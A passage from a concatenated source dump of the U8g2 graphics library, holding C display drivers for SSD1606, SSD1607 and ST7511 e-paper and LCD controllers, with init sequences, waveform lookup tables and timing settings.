u8x8->display_info->flipmode_x_offset; } */ break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: /* u8x8_cad_StartTransfer(u8x8); u8x8_cad_EndTransfer(u8x8); */ break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_d_ssd1606_draw_tile(u8x8, arg_int, arg_ptr); break; case U8X8_MSG_DISPLAY_REFRESH: u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_to_display_seq); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1606_172x72_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 120, /* pre_chip_disable_wait_ns = */ 60, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 50, /* SSD1606: */ /* sck_pulse_width_ns = */ 100, /* SSD1606: 100ns */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* tile_width = */ 22, /* 22*8 = 176 */ /* tile_height = */ 9, /* 9*8 = 72 */ /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 172, /* pixel_height = */ 72 }; uint8_t u8x8_d_ssd1606_172x72(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1606_172x72_display_info); return 1; } return u8x8_d_ssd1606_172x72_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1607_200x200.c ================================================ /* u8x8_d_ssd1607_200x200.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SSD1607: 200x300x1 command 0x22: assign actions 0x20: execute actions action for command 0x022 are (more or less guessed) bit 7: Enable Clock bit 6: Enable Charge Pump bit 5: Load Temparture Value (???) bit 4: Load LUT (???) bit 3: Initial Display (???) bit 2: Pattern Display --> Requires about 945ms with the LUT from below bit 1: Disable Charge Pump bit 0: Disable Clock Disable Charge Pump and Clock require about 267ms Enable Charge Pump and Clock require about 10ms Notes: - Introduced a refresh display message, which copies RAM to display - Charge pump and clock are only enabled for the transfer RAM to display - U8x8 will not really work because of the two buffers in the SSD1606, however U8g2 should be ok. */ #include "u8x8.h" /*=================================================*/ static const u8x8_display_info_t u8x8_ssd1607_200x200_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* values from SSD1606 */ /* post_chip_enable_wait_ns = */ 120, /* pre_chip_disable_wait_ns = */ 60, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 50, /* SSD1606: */ /* sck_pulse_width_ns = */ 100, /* SSD1606: 100ns */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* tile_width = */ 25, /* 25*8 = 200 */ /* tile_height = */ 25, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 200, /* pixel_height = */ 200 }; static const uint8_t u8x8_d_ssd1607_200x200_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x22, 0xc0), /* enable clock and charge pump */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(200), /* according to my measures it may take up to 150ms */ U8X8_DLY(100), /* but it might take longer */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1607_200x200_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* disable clock and charge pump only, deep sleep is not entered, because we will loose RAM content */ U8X8_CA(0x22, 0x02), /* only disable charge pump, HW reset seems to be required if the clock is disabled */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(20), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1607_200x200_exec_1000dly_seq[] = { // assumes, that the start transfer has happend U8X8_CA(0x22, 0x04), /* display update seq. option: pattern display */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static void u8x8_d_ssd1607_200x200_first_init(u8x8_t *u8x8) { u8x8_ClearDisplay(u8x8); u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x032); // program update sequence u8x8_cad_SendMultipleArg(u8x8, 8, 0x055); // all black u8x8_cad_SendMultipleArg(u8x8, 12, 0x0aa); // all white u8x8_cad_SendMultipleArg(u8x8, 10, 0x022); // 830ms u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_exec_1000dly_seq); } static uint8_t *u8x8_convert_tile_for_ssd1607(uint8_t *t) { uint8_t i; static uint8_t buf[8]; uint8_t *pbuf = buf; for( i = 0; i < 8; i++ ) { *pbuf++ = ~(*t++); } return buf; } static void u8x8_d_ssd1607_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) U8X8_NOINLINE; static void u8x8_d_ssd1607_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) { uint16_t x; uint8_t c, page; uint8_t *ptr; u8x8_cad_StartTransfer(u8x8); page = u8x8->display_info->tile_height; page --; page -= (((u8x8_tile_t *)arg_ptr)->y_pos); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x045 ); /* window start column */ u8x8_cad_SendArg(u8x8, x&255); u8x8_cad_SendArg(u8x8, x>>8); u8x8_cad_SendArg(u8x8, 199); /* end of display */ u8x8_cad_SendArg(u8x8, 0); u8x8_cad_SendCmd(u8x8, 0x044 ); /* window end page */ u8x8_cad_SendArg(u8x8, page); u8x8_cad_SendArg(u8x8, page); u8x8_cad_SendCmd(u8x8, 0x04f ); /* window column */ u8x8_cad_SendArg(u8x8, x&255); u8x8_cad_SendArg(u8x8, x>>8); u8x8_cad_SendCmd(u8x8, 0x04e ); /* window row */ u8x8_cad_SendArg(u8x8, page); u8x8_cad_SendCmd(u8x8, 0x024 ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, 8, u8x8_convert_tile_for_ssd1607(ptr)); ptr += 8; x += 8; c--; } while( c > 0 ); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); } /*=================================================*/ #define L(a,b,c,d) (((a)<<6)|((b)<<4)|((c)<<2)|(d)) /* https://github.com/embeddedadventures/SSD1607/blob/master/SSD1607.cpp */ static const uint8_t u8x8_d_ssd1607_200x200_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ //U8X8_CA(0x10, 0x00), /* Deep Sleep mode Control: Disable */ U8X8_C(0x01), U8X8_A(199),U8X8_A(0),U8X8_A(0), U8X8_CA(0x03, 0x00), /* Gate Driving voltage: 15V (lowest value)*/ U8X8_CA(0x04, 0x0a), /* Source Driving voltage: 15V (mid value and POR)*/ U8X8_CA(0x0f, 0x00), /* scan start ? */ U8X8_CA(0xf0, 0x1f), /* set booster feedback to internal */ U8X8_CA(0x2c, 0xa8), /* write vcom value*/ U8X8_CA(0x3a, 0x1a), /* dummy lines */ U8X8_CA(0x3b, 0x08), /* gate time */ U8X8_CA(0x3c, 0x33), /* select boarder waveform */ U8X8_CA(0x11, 0x03), /* cursor increment mode */ U8X8_CAA(0x44, 0, 24), /* RAM x start & end, each byte has 8 pixel, 25*4=200 */ U8X8_CAAAA(0x45, 0, 0, 299&255, 299>>8), /* RAM y start & end, 0..299 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1607_to_display_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x32), /* write LUT register*/ /* according to the command table, the lut has 240 bits (=30 bytes * 8 bits) */ /* Waveform part of the LUT (20 bytes) */ /* bit 7/6: 1 - 1 transition */ /* bit 5/4: 1 - 0 transition */ /* bit 3/2: 0 - 1 transition */ /* bit 1/0: 0 - 0 transition */ /* 00 – VSS */ /* 01 – VSH */ /* 10 – VSL */ /* 11 – NA */ /* original values */ /* U8X8_A(0x02), U8X8_A(0x02), U8X8_A(0x01), U8X8_A(0x11), U8X8_A(0x12), U8X8_A(0x12), U8X8_A(0x22), U8X8_A(0x22), U8X8_A(0x66), U8X8_A(0x69), U8X8_A(0x69), U8X8_A(0x59), U8X8_A(0x58), U8X8_A(0x99), U8X8_A(0x99), U8X8_A(0x88), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), */ /* original values, L-macro */ U8X8_A(L(0,0,0,2)), // 0x02 U8X8_A(L(0,0,0,2)), // 0x02 U8X8_A(L(0,0,0,1)), // 0x01 U8X8_A(L(0,1,0,1)), // 0x11 U8X8_A(L(0,1,0,2)), // 0x12 U8X8_A(L(0,1,0,2)), // 0x12 U8X8_A(L(0,2,0,2)), // 0x22 U8X8_A(L(0,2,0,2)), // 0x22 U8X8_A(L(1,2,1,2)), // 0x66 U8X8_A(L(1,2,2,1)), // 0x69 U8X8_A(L(1,2,2,1)), // 0x69 U8X8_A(L(1,1,2,1)), // 0x59 U8X8_A(L(1,1,2,0)), // 0x58 U8X8_A(L(2,1,2,1)), // 0x99 U8X8_A(L(2,1,2,1)), // 0x99 U8X8_A(L(2,0,2,0)), // 0x88 U8X8_A(L(0,0,0,0)), // 0x00 U8X8_A(L(0,0,0,0)), // 0x00 U8X8_A(L(0,0,0,0)), // 0x00 U8X8_A(L(0,0,0,0)), // 0x00 /* orginal values without 0-0 and 1-1 transition */ /* U8X8_A(L(3,0,0,3)), // 0x02 U8X8_A(L(3,0,0,3)), // 0x02 U8X8_A(L(3,0,0,3)), // 0x01 U8X8_A(L(3,1,0,3)), // 0x11 U8X8_A(L(3,1,0,3)), // 0x12 U8X8_A(L(3,1,0,3)), // 0x12 U8X8_A(L(3,2,0,3)), // 0x22 U8X8_A(L(3,2,0,3)), // 0x22 U8X8_A(L(3,2,1,3)), // 0x66 U8X8_A(L(3,2,2,3)), // 0x69 U8X8_A(L(3,2,2,3)), // 0x69 U8X8_A(L(3,1,2,3)), // 0x59 U8X8_A(L(3,1,2,3)), // 0x58 U8X8_A(L(3,1,2,3)), // 0x99 U8X8_A(L(3,1,2,3)), // 0x99 U8X8_A(L(3,0,2,3)), // 0x88 U8X8_A(L(3,0,0,3)), // 0x00 U8X8_A(L(3,0,0,3)), // 0x00 U8X8_A(L(3,0,0,3)), // 0x00 U8X8_A(L(3,0,0,3)), // 0x00 */ /* Timing part of the LUT, 20 Phases with 4 bit each: 10 bytes */ U8X8_A(0xF8), U8X8_A(0xB4), U8X8_A(0x13), U8X8_A(0x51), U8X8_A(0x35), U8X8_A(0x51), U8X8_A(0x51), U8X8_A(0x19), U8X8_A(0x01), U8X8_A(0x00), U8X8_CA(0x22, 0x04), /* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(250), /* the sequence above requires about 1200ms for the 200x200 display*/ U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1607_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1607_200x200_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_init_seq); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq); u8x8_d_ssd1607_200x200_first_init(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: break; case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_d_ssd1607_draw_tile(u8x8, arg_int, arg_ptr); break; case U8X8_MSG_DISPLAY_REFRESH: u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_to_display_seq); break; default: return 0; } return 1; } /*=================================================*/ /* there is no improvement possible... so i consider the v2 version as obsolete */ static const uint8_t u8x8_d_ssd1607_v2_to_display_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* 0xaa, 0x09, 0x09, 0x19, 0x19, 0x11, 0x11, 0x11, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x77, 0x77, 0x77, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00 measured 1240 ms with IL3830 196x128 0x02, 0x02, 0x01, 0x11, 0x12, 0x12, 0x12, 0x22, 0x22, 0x66, 0x69, 0x59, 0x58, 0x99, 0x99, 0x88, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xb4, 0x13, 0x51, 0x35, 0x51, 0x51, 0xe9, 0x04, 0x00 */ U8X8_C(0x32), /* write LUT register*/ /* https://github.com/olikraus/u8g2/issues/347 */ U8X8_A(0x02), U8X8_A(0x02), U8X8_A(0x01), U8X8_A(0x11), U8X8_A(0x12), U8X8_A(0x12), U8X8_A(0x22), U8X8_A(0x22), U8X8_A(0x66), U8X8_A(0x69), U8X8_A(0x69), U8X8_A(0x59), U8X8_A(0x58), U8X8_A(0x99), U8X8_A(0x99), U8X8_A(0x88), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), /* Timing part of the LUT, 20 Phases with 4 bit each: 10 bytes */ U8X8_A(0xF8), U8X8_A(0xB4), U8X8_A(0x13), U8X8_A(0x51), U8X8_A(0x35), U8X8_A(0x51), U8X8_A(0x51), U8X8_A(0xe9), U8X8_A(0x04), U8X8_A(0x00), U8X8_CA(0x22, 0x04), /* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(250), /* delay for 1500ms. The current sequence takes 1300ms */ U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1607_v2_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1607_200x200_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_init_seq); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq); u8x8_d_ssd1607_200x200_first_init(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: break; case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_d_ssd1607_draw_tile(u8x8, arg_int, arg_ptr); break; case U8X8_MSG_DISPLAY_REFRESH: u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_v2_to_display_seq); break; default: return 0; } return 1; } /*=================================================*/ /* GDEP015OC1 */ /* https://github.com/olikraus/u8g2/issues/454 */ static const uint8_t u8x8_d_ssd1607_gd_to_display_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* 0xaa, 0x09, 0x09, 0x19, 0x19, 0x11, 0x11, 0x11, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x77, 0x77, 0x77, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00 measured 1240 ms with IL3830 196x128 0x02, 0x02, 0x01, 0x11, 0x12, 0x12, 0x12, 0x22, 0x22, 0x66, 0x69, 0x59, 0x58, 0x99, 0x99, 0x88, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xb4, 0x13, 0x51, 0x35, 0x51, 0x51, 0xe9, 0x04, 0x00 */ U8X8_C(0x32), /* write LUT register*/ /* U8X8_A(0x50), U8X8_A(0xAA), U8X8_A(0x55), U8X8_A(0xAA), U8X8_A(0x11), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0xFF), U8X8_A(0xFF), U8X8_A(0x1F), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), */ U8X8_A(0x10), U8X8_A(0x18), U8X8_A(0x18), U8X8_A(0x08), U8X8_A(0x18), // numbers based on Waveshare demo code U8X8_A(0x18), U8X8_A(0x08), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x13), U8X8_A(0x14), U8X8_A(0x44), U8X8_A(0x12), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_CA(0x22, 0xc4), /* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(250), /* delay for 1500ms. The current sequence takes 1300ms */ U8X8_DLY(250), U8X8_DLY(250), // U8X8_DLY(250), // U8X8_DLY(250), // U8X8_DLY(250), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1607_gd_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1607_200x200_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_init_seq); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq); u8x8_d_ssd1607_200x200_first_init(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: break; case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_d_ssd1607_draw_tile(u8x8, arg_int, arg_ptr); break; case U8X8_MSG_DISPLAY_REFRESH: u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_gd_to_display_seq); break; default: return 0; } return 1; } /*=================================================*/ static const uint8_t u8x8_d_ssd1607_ws_to_display_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x32), /* write LUT register*/ U8X8_A(0x10), U8X8_A(0x18), U8X8_A(0x18), U8X8_A(0x08), U8X8_A(0x18), // numbers based on Waveshare demo code U8X8_A(0x18), U8X8_A(0x08), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x13), U8X8_A(0x14), U8X8_A(0x44), U8X8_A(0x12), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_CA(0x22, 0xc4), /* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(250), /* delay for 1250ms. */ U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1607_ws_to_refresh_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x22, 0x04), /* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */ U8X8_C(0x20), /* execute sequence */ // U8X8_DLY(250), // U8X8_DLY(250), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* waveshare 200x200 */ static const uint8_t u8x8_d_ssd1607_ws_200x200_init_seq[] = { // suggested code from https://github.com/olikraus/u8g2/issues/637 U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x01), /* DRIVER_OUTPUT_CONTROL: LO(EPD_HEIGHT-1), HI(EPD_HEIGHT-1). GD = 0; SM = 0; TB = 0; */ U8X8_A(199),U8X8_A(0),U8X8_A(0), U8X8_C(0x0C), /* BOOSTER_SOFT_START_CONTROL */ U8X8_A(0xd7),U8X8_A(0xd6),U8X8_A(0x9d), U8X8_CA(0x2c, 0xa8), /* WRITE_VCOM_REGISTER: VCOM 7C */ U8X8_CA(0x3a, 0x1a), /* SET_DUMMY_LINE_PERIOD: 4 dummy lines per gate */ U8X8_CA(0x3b, 0x08), /* SET_GATE_TIME: 2us per line */ U8X8_CA(0x11, 0x03), /* DATA_ENTRY_MODE_SETTING: X increment; Y increment */ U8X8_CAA(0x44, 0, 24), /* SET_RAM_X_ADDRESS_START_END_POSITION: LO(x >> 3), LO((w-1) >> 3) */ U8X8_CAAAA(0x45, 0, 0, 199&255, 199>>8), /* SET_RAM_Y_ADDRESS_START_END_POSITION: LO(y), HI(y), LO(h - 1), HI(h - 1) */ U8X8_CA(0x4e, 0), /* LO(x >> 3) */ U8X8_CAA(0x4f, 0, 0), /* LO(y), HI(y >> 8) */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1607_ws_200x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1607_200x200_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_ws_200x200_init_seq); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq); u8x8_d_ssd1607_200x200_first_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_ws_to_display_seq);; // to setup LUT break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_200x200_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: break; case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_d_ssd1607_draw_tile(u8x8, arg_int, arg_ptr); break; case U8X8_MSG_DISPLAY_REFRESH: u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1607_ws_to_refresh_seq); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7511.c ================================================ /* u8x8_d_st7511.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2019, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 20 May 2019: https://github.com/olikraus/u8g2/issues/876 Probably HW Flip does not work */ #include "u8x8.h" static const uint8_t u8x8_d_st7511_320x240_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x015, 0x0a5), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7511_320x240_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x014, 0x0a5), /* display off */ // maybe use sleep mode here, but it not clear whether sleep mode will reset all the settings U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7511_320x240_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CAAAA(0x24, 0x01, 0xa5, 0xa5, 0xa5), /* memory control directions */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7511_320x240_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CAAAA(0x24, 0x02, 0xa5, 0xa5, 0xa5), /* memory control directions */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /*=====================================================*/ /* AV-Display: AVD-TM57QV-NW-001-B, issue 876 */ static const u8x8_display_info_t u8x8_st7511_320x240_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* ST7511 Datasheet */ /* pre_chip_disable_wait_ns = */ 150, /* ST7511 Datasheet */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 120, /* ST7511 Datasheet */ /* sck_pulse_width_ns = */ 150, /* ST7511 Datasheet */ /* sck_clock_hz = */ 3300000UL, /* ST7511 Datasheet: 300ns cycle */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 200, /* */ /* write_pulse_width_ns = */ 250, /* ST7511 Datasheet: 500ns 